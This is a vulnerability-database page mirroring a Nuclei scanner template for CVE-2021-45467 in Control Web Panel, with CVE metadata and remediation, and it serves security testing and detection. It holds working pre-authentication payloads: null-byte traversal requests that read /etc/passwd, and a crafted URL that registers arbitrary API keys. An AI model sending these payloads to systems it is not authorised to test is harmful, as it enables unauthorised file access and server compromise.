SecurityContext

CVE-2021-45467: Control Web Panel (CWP) - File Inclusion

  • Template: CVE-2021-45467
  • Name: Control Web Panel (CWP) - File Inclusion
  • Description: In CWP (Control Web Panel, previously CentOS Web Panel) before version 0.9.8.1107, an unauthenticated attacker can abuse null byte (%00) injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be exploited by using multiple %00 sequences to traverse directories via crafted requests such as /user/loader.php?api=1&scripts=.%00./.%00./api/account_new_create&acc=guadaapi, or similar payloads with more %00 instances (e.g., .%00%00%00./.%00%00%00./api/account_new_create). Attackers may use this flaw for arbitrary file access, privilege escalation, or remote code execution.
  • Impact: A remote, unauthenticated attacker can leverage this vulnerability to register arbitrary API keys, access sensitive files (such as /etc/passwd), and potentially achieve remote code execution. Successful exploitation results in full compromise of the web panel and host system, allowing for exposure of confidential data, server takeover, and further attacks on internal infrastructure.
  • Remediation: Update to version 0.9.8.1107 or later to fix input validation issues.
  • Severity: critical
  • Authors: ritikchaddha
  • Tags: cve, cve2021, cwp, rce, lfi, centos, webpanel, vkev, vuln
  • References: https://octagon.net/blog/2022/01/22/cve-2021-45467-cwp-centos-web-panel-preauth-rce/, https://nvd.nist.gov/vuln/detail/CVE-2021-45467
  • Cves: CVE-2021-45467
  • Max requests: 5
  • Directory: http/cves
  • Path: http/cves/2021/CVE-2021-45467.yaml
  • Digest: 4a0a00473045022012b0dea57b00d8bab8d62a7ddab782854ae5935d9c6c01aa6a12902966482bae0221008a0c720c979f1653bc7496176796539b0330a3fc4f954da1d6685353ec3b18aa
  • Created at: 2025-10-27T03:53:25Z
  • Updated at: 2026-11-22T02:03:55Z
  • Age in days: 393
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45467.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-862
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.70745
  • Epss percentile: 0.9941
  • Cpe: cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: icon_hash="-356182173"
  • Max-request: 5
  • Product: webpanel
  • Vendor: control_webpanel
  • Checked, none or zero: verified

Products

ProductIndexedUrl
control_webpanel:webpanelno—
control-webpanel:webpanelyes/v1/products/control-webpanel/webpanel

Labels

  • Name: Control Web Panel - Broken Access Control
  • Impact: Attackers can register arbitrary API keys without authentication, potentially leading to unauthorized access and control over the system.
  • Remediation: Update to version 0.9.8.1107 or later to fix input validation issues.
  • Vulnerability type: path_traversal
  • Vulnerability impact: data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-45467
  • Not known: requirements

```yaml

id: CVE-2021-45467

info:

name: Control Web Panel (CWP) - File Inclusion

author: ritikchaddha

severity: critical

description: |

In CWP (Control Web Panel, previously CentOS Web Panel) before version 0.9.8.1107, an unauthenticated attacker can abuse null byte (%00) injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be exploited by using multiple %00 sequences to traverse directories via crafted requests such as /user/loader.php?api=1&scripts=.%00./.%00./api/account_new_create&acc=guadaapi, or similar payloads with more %00 instances (e.g., .%00%00%00./.%00%00%00./api/account_new_create). Attackers may use this flaw for arbitrary file access, privilege escalation, or remote code execution.

impact: |

A remote, unauthenticated attacker can leverage this vulnerability to register arbitrary API keys, access sensitive files (such as /etc/passwd), and potentially achieve remote code execution. Successful exploitation results in full compromise of the web panel and host system, allowing for exposure of confidential data, server takeover, and further attacks on internal infrastructure.

remediation: |

Update to version 0.9.8.1107 or later to fix input validation issues.

reference:

- https://octagon.net/blog/2022/01/22/cve-2021-45467-cwp-centos-web-panel-preauth-rce/

- https://nvd.nist.gov/vuln/detail/CVE-2021-45467

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2021-45467

epss-score: 0.70745

epss-percentile: 0.9941

cwe-id: CWE-862

cpe: cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*

metadata:

verified: false

max-request: 5

vendor: control_webpanel

product: webpanel

fofa-query: icon_hash="-356182173"

tags: cve,cve2021,cwp,rce,lfi,centos,webpanel,vkev,vuln

flow: http(1) && http(2)

http:

- method: GET

path:

- "{{BaseURL}}/login/cwp_theme/original/img/ico/favicon.ico"

- "{{BaseURL}}/login/design/img/ico/favicon.ico"

- "{{BaseURL}}"

redirects: true

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- "status_code==200 && ('-356182173' == mmh3(base64_py(body)))"

- "status_code==200 && contains_any(tolower(body), 'control webpanel', 'cwp | user')"

condition: or

internal: true

- method: GET

path:

- "{{BaseURL}}/user/index.php?api=1&scripts=.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./etc/passwd"

- "{{BaseURL}}/user/login.php?api=1&scripts=.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./etc/passwd"

stop-at-first-match: true

matchers-condition: and

matchers:

- type: regex

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 4a0a00473045022012b0dea57b00d8bab8d62a7ddab782854ae5935d9c6c01aa6a12902966482bae0221008a0c720c979f1653bc7496176796539b0330a3fc4f954da1d6685353ec3b18aa:922c64590222798bb761d5b6d8e72950

```